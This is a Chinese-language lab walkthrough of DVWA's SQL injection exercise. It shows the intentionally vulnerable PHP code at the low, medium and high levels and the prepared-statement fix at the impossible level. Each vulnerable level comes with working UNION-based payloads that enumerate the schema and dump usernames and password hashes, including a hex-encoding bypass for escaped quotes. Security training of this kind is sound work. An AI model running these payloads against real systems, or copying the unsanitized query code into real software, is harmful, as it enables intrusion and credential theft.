SQL Injection
SQL Injection即SQL注入,是由于web应用程序对用户输入数据没有进行过滤或过滤不完全,导致输入数据破坏原有SQL语句并执行恶意指令
low
服务器核心代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
从代码来看,没有任何过滤,直接注入
解法
输入1' and 1=0 # 无回显
输入1' and 1=1 # 有回显
说明注入成功,然后查字段个数 0' union select 1,2#
2的时候不报错,说明有两个字段,然后爆库 0' union select database(),2#
爆表 0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
爆字段 0' union select group_concat(column_name),2 from information_schema.columns where table_schema='dvwa' and table_name='users' #
爆值 0' union select group_concat(user,':',password) ,2 from dvwa.users #
成功拿到数据
medium
服务器核心代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
medium难度代码将提交方式改成了post,同时使用mysqli_real_escape_string()函数过滤掉了\x00,\n,\r,\,',",\x1a这些特殊字符,还要注意的是,medium的SQL语句从之前的字符型变成了数字型
解法
抓包然后发到repeater模块
发送1 and 1=1 正常回显
发送1 and 1=0 无回显 说明注入成功
用order by查字段个数 发现3会报错 2正常
爆库 0 union select database(),2
爆表 0 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
爆字段 0 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273(注意这里因为单引号被转义,用的是users的16进制进行绕过)
爆值 0 union select group_concat(user,0x3a,password),2 from dvwa.users(0x3a是“:”,原理同上)
成功拿到数据
high
服务器核心代码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high难度改用session传参数,也是没有过滤,limit 1在注入时会被注释掉,所以注入方式和low难度一样
解法
查字段个数 2不报错
爆库 0' union select database(),2#
爆表 0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
爆字段 0' union select group_concat(column_name),2 from information_schema.columns where table_schema='dvwa' and table_name='users' #
爆值 0' union select group_concat(user,':',password) ,2 from dvwa.users #
成功拿到数据
impossible
服务器核心代码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
从代码上看,判断输入参数是否为数字,后面还使用了PDO来防止SQL注入,这里已经不能再进行SQL注入了